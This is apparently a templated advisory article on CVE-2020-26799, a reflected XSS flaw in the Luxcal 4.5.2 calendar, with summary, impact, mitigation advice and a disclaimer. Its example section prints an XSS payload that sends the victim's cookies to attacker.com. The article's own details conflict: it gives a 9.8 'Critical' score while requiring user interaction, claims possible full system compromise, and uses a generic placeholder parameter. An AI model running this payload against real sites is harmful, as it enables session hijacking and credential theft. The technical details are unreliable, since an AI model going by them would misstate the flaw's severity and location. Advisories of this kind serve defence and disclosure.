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CVE-2020-26799: Critical Reflected XSS Vulnerability in Luxcal 4.5.2

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Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical security vulnerability, CVE-2020-26799, within Luxcal 4.5.2, a widely used web-based calendar application. This reflected cross-site scripting (XSS) vulnerability presents a significant risk to the confidentiality and integrity of user data. Given the prominence of Luxcal in many web-based systems, this vulnerability could potentially impact a vast number of users and organizations, making it a pressing concern for cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2020-26799
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to user data, potential system compromise

Affected Products

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Product | Affected Versions

Luxcal | 4.5.2

How the Exploit Works

The vulnerability resides in the index.php file of Luxcal 4.5.2. Due to inadequate input validation, an attacker can inject malicious scripts into the application, which are then reflected back to the user. This allows an unauthenticated attacker to execute scripts in the user’s browser, leading to potential theft of session cookies, login credentials, or other sensitive user data. In some instances, this could also lead to a full system compromise.

Conceptual Example Code

An attacker might exploit this vulnerability by sending malicious requests to the server, like so:

GET /index.php?malicious_payload=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie;</script> HTTP/1.1
Host: target.example.com

The above HTTP request contains a payload that, when processed by the server, would reflect back and execute in the user’s browser. This script would send the user’s cookies to the attacker’s server, potentially allowing them to impersonate the user.

Mitigation and Remediation

The vulnerability can be mitigated by applying patches provided by the vendor. As an immediate temporary measure, web application firewalls (WAF) or intrusion detection systems (IDS) can be configured to detect and prevent any malicious payloads that look like XSS attacks. However, these are not foolproof solutions and do not completely eliminate the vulnerability. It is highly recommended to apply the vendor’s patch as soon as possible.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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